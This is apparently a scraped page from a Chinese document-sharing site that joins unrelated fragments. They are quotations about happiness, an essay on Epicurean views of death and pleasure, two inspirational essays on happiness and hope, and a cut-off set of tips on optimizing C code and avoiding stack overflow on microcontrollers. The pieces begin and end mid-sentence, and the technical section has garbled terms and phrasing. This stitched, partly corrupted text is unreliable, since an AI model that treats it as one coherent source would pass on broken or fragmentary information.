雷厄姆 14、尽可多创造快乐去填满时间,哪可活活缚着时间来陪着快乐。闻一多 15、允许孩子们以他们自己的方式获得快乐,难道还有比这更好的方法?塞约翰逊 16、快乐和痛苦从来不会同时降临到一个人身上,但是如果你追求它们中的某一个并且有所体验,你几乎总是不得不体验到另一个,它们就像受同一个大脑指挥的两个躯体一样。柏拉图 17、所有的人都以快乐幸福作为他们的目的;没有例外,不论他们所使用的方法是如何不同,大家都在朝着这同一目标前进。帕斯卡 18、每个人都有一定的理想,这种理想决定着他的努力和判断的方向。就在这个意义上,我从来不把安逸和快乐看作生活目的的本身这种伦理基础,我叫它猪栏的理想。爱因斯坦 19、最明亮的欢乐火焰大概是由意外的火花点燃的。人生道路上不时散发出芳香的花朵,也是由偶然落下的种子自然生长出来的。塞约翰逊 20、最幸福的似乎是那些并无特别原因而快乐的人,他们仅仅因快乐而快乐。威廉姆拉尔夫英奇 21、我从来不把安逸和快乐看作是生活目的本身---这种伦理基础,我叫它猪栏的理想。爱因斯坦 22、家居的快乐,是所有志向的最终目标;是所有事业的劳苦

伊壁鸠鲁哲学下的终极关怀

伊壁鸠鲁哲学下的终极关怀 摘要:终极关怀作为人的精神世界超越有限、追求无限的渴望,是对宇宙人生形上层次的哲学思考,这个论题一直都占据着哲学和宗教的核心地位,基于人类是作为徘徊于物质和精神两个世界的主体,我们不得不去思考如何经过自己的努力去获得人生的救赎。伊壁鸠鲁哲学中的唯物主义与无神论思想为我们提供了一种有别于宗教意义下的终极关怀。我们可以从伊壁鸠鲁快乐主义以及其死亡哲学中去探讨这一论题的答案。 关键词:伊壁鸠鲁终极关怀死亡哲学快乐主义 在西方古典哲学中,哲学生活又谓人生的“静观”,而对于人生最大的静观问题,则莫过于对死亡的静观。自上古、中古至今,西方还是东方。在对死亡和生命的终极关怀这一问题上,哲人们的思想出奇产生了一种共鸣。那便是对至高的善的讨论,以及对“精神家园”慰藉。但是在这其中,由于价值观的取向不同,以及人对人、人对社会的道德责任感的不一致,导致了一些局部区域的分歧。 “真正的追求哲学, 无非是学习死, 学习追求死的状态”。大哲人苏格拉底如是说《斐多》。当这无处逃匿的肉身终将面对这一悲剧性的终将—死亡,人们会产生恐慌、焦虑、焦虑、或者期待。于是这就使得哲学的目光凝聚于这一课题上,宗教哲学也如此,不遗余力的探讨着如何成全生与死的圆舞。如此我们便很清楚的有个认识,那就是为何智者派的论题会集中到人——这一灵长类高级生物的身上,在哲学范畴里,我们称之为对主体的认识。 在早期希腊哲学时期,研究主题还是“世界的本源”,如伊奥利亚派泰勒斯认为,“水是万物的本源”,毕达哥拉斯学派认为“数是万物的本源”,爱利亚学派则认为世界的本源是不变的一。在种种论点不得一致的时候,便引起了哲人们的另一思考,那便是“我们是什么?人是什么”。所以在希腊哲学的鼎盛时期,主体的认识成为了热点。譬如普罗泰格拉说“人是万物的尺度”亚里斯多德认为“人是理性的动物”德尔菲在阿波罗的圣殿上写着“认识你自己”诸如此种种,在哲人们引入这个话题的时候,便慢慢的认识到了探讨生命的终极关怀这一重要性。 伊壁鸠鲁学派作为后苏格拉底哲学,与当时的斯多亚学派一道,但却是最受责难的一个学派,历史上一直颇受诘难,好在在很多书籍上面,很多有识之士依旧认同伊壁鸠鲁学派伦理学方面的贡献。这可以说是相当难能可贵的,思想若是在批判中任然屹立不倒,方显起价值,在本文中,将重点讨论伊壁鸠鲁学派的快乐主义与死亡意识,继而说明起哲学意义上对生命的终极关怀。 一、伊壁鸠鲁的死亡意识 首先,伊壁鸠鲁派哲人把消除世人对死亡的恐惧当作自己伦理学说的重心。他们将幸福生活等同为精神与肉体俱无痛苦。精神痛苦主要有两类: 焦虑与恐惧。而这两种痛苦的根源在于民间宗教的种种说法以及对死亡的恐惧。因此创始人伊壁鸠鲁把自己的伦理学说的精髓概括为四行“口诀”: 神明对众生漠然视之; 死无所惧;

【关于快乐的作文】快乐的意义

【关于快乐的作文】快乐的意义 每一个人都会快乐,可是快乐究竟是什么呢? 有人说,快乐是一种感觉;有人说,快乐是物质上的充实;还有人说,快乐是虚荣心的最大化满足。我想,快乐其实很简单,它只是我们精神上的一种支持的力量。丢掉所有的不开心就是一种快乐。当工作中有许多不快时,出去散散步,让那些不顺心、不开心的事随着那清凉的微风吹走,让所有的不快烟消云散。这样,你才会更好得投入在新的奋斗中。 其实,快乐就在我们的身边,我们不必太刻意去追求它,我们只需要保持舒畅的心情。这样,就是最简单的快乐了!与别人坦诚相待也是一种快乐,当一个人愿意与你交朋友时,你应该用真心对待他。因为,他既然会与你交朋友,一定是因为你身上有吸引他的地方。如果你不把他当做真正地朋友,那你们的友谊只不过是建立在你的金钱上、权力上;不过,如果你付出真心,那你们一定会是真正的朋友,一定会收获友谊的果实。这样,你不仅可以收获一份真挚的友谊,还可以受到人的尊重。你自然会很快乐,你快乐了,身边的人也会和你一样快乐了。其实,快乐就在我们身边,没有那么遥远。只要把心中的不快乐抛弃,就会拥有无比的快乐。其实快乐很简单,快乐就是一种心理感受。要不要快乐由你

自己决定。 懂得快乐、善于快乐实在是一种智慧、一种气度、一种气魄。快乐有时就像在天上飞的风筝一样,虽然有时你看不见它,但线在你手中,它不会飞远,只要你愿意,快乐就会随时围绕着你,直到永远。快乐是无处不在的。有人说痛苦,痛苦。其实痛苦和快乐原来是一对孪生兄弟,不同的只是在于你的选择。就好像冬天和夏天一样,如果你选择夏天,认为夏天会给你带来快乐,然而冬天定会来临,它并不会给你带来不幸和痛苦,只是你选择了夏天而拒绝了冬天,所以才有不幸和痛苦的产生。其实,不管是夏天或冬天,对你来讲都没关系,不同的只是你的感受。 只要你拥有一颗快乐的心,别让世俗的尘埃蒙蔽了眼睛,别让太多的功利给心灵套上了沉重的枷锁,你就会发现快乐如同星星点点般密布在我们身边的每一个角落,唾手可得。快乐其实很简单…

人生的意义,在于心存希望

人生的意义,在于心存希望 人生的意义,究竟是什么呢?有人说:是追求高官、厚禄,还是功名、享乐?在“世俗”社会下,受到家庭、社会和工作环境的影响,每个人心志受到不同程度的影响,人的“灵魂”受到各种考验,往往“迷失”了自我。因此,找到人生的意义也就成为众人关注的重点。有人会说:活得有价值,实现人生理想,有钱又有名,就是人生最大的意义;也有人说:过的开心,自由自在,就是活着的意义。还有人说:用一生或者半生,只做一件有意义的事,并将它做到极致,才是最大的意义。每个人都有自己的看法和观点,我却觉得,人生的真正意义,在于心存希望。希望在,梦就在!人生的路千万条,生活的方式各不相同。我们每个人生活在不一样的环境,有着不同的人生经历,从事着不尽相同的工作,但有一条却是相同的,就是心存希望,那个梦开始的地方。心存希望,才是世间最好的包治百病的良药。心存希望,我们就能看到明天的太阳依然从东方升起。人生苦短,来日并不方长。如果你有什么愿望,那么就赶紧去实现吧。不要等到老了,在来遗憾和后悔没有多些时间陪伴家人,没有好好享受美食,没有尽力帮助别人,没有时间多去旅行,没能谈一场永存记忆的恋爱,没有注意身体健康,没有对深爱的人说声“谢谢”……远处是风景,近处才是生活。我们可以在生

活里,看着风景;也可以一边看风景,一边感受美好的生活。生活不仅有诗和远方,更有喜怒哀乐和悲欢离合,我们唯一能把握的就是自己的内心。我一直以来的希望,就是一家人美美的在一起,开开心心、快快乐乐!仅此而已,我想每个人都有这样的希望吧!那也希望我的经历能够帮助更多的人明白人生的意义,拥有希望是一件多么幸运的事情,因为那是上帝赋予你的权利,不要在丢失的时候后悔莫及,因为人生没有彩排每一天都是现场直播!无论生活怎样对待我们,苦也好,乐也罢,都不要失去心中仅有的希望。希望是一盏明灯,它指引着我们前进的方向,也给予了我们无数的快乐和温暖。世间是温暖的,人生是美好的,因为有爱,有希望。(一起来谈谈你认为的人生意义?)

如何优化单片机C程序及堆栈溢出、RAM空间优化

如何优化单片机中的C程序 堆栈溢出:在调试程序的时候有事会碰到堆栈溢出的情况,堆栈为什么会溢出呢,个人总结主要有以下几点: a、是否有修改堆栈指针; c语言编写者一般不会主动修改堆栈指针的,除非在特殊情况下才会涉及到与此相关的操作,如在扩展区独立开辟一段存储空间用于压栈时数据的存储区。 b、是否嵌套的数据保护的内容超过堆栈; 此种情况发生的几率比较多,个人估计占到80%左右,这种情况就是RAM本就不是很充足,此时又发生了中断嵌套,上一个中断占用的现场保护空间还没有释放,另一个中断又要重新占用大量空间进行现场数据的保存。这样可定会造成空间不够用,堆栈溢出是很显然的。建议避免中断嵌套(方法1:可以再优先级低的中断中先关掉优先级高的中断,这或许会影响程序的执行效果。方法2:换用RAM 比较大的IC或扩展RAM,这种方法要提高成本。) c、程序中进行的算术运算比较多 计算机最擅长的运算就是加法运算,在程序中弄了好多浮点运算、求余运算、除法运算,而且数据量很大,运算过程中是要占用很多空

间的,建议能优化算术运算的尽量优化,下面介绍如何优化程序,个人总结加上网上搜索。 优化程序: 1、选择合适的算法和数据结构 应该熟悉算法语言,知道各种算法的优缺点,具体资料请参见相应的参考资料,有很多计算机书籍上都有介绍。将比较慢的顺序查找法用较快的二分查找或乱序查找法代替,插入排序或冒泡排序法用快速排序、合并排序或根排序代替,都可以大大提高程序执行的效率。.选择一种合适的数据结构也很重要,比如你在一堆随机存放的数中使用了大量的插入和删除指令,那使用链表要快得多。 数组与指针语句具有十分密码的关系,一般来说,指针比较灵活简洁,而数组则比较直观,容易理解。对于大部分的编译器,使用指针比使用数组生成的代码更短,执行效率更高。但是在Keil中则相反,使用数组比使用的指针生成的代码更短。 2、使用尽量小的数据类型 能够使用字符型(char)定义的变量,就不要使用整型(int)变量来定义;能够使用整型变量定义的变量就不要用长整型(long int),能不使用浮点型(float)变量就不要使用浮点型变量。当然,在定义变量后不要超过变量的作用范围,如果超过变量的范围赋值,C编译器并不

相关主题
文本预览
相关文档 最新文档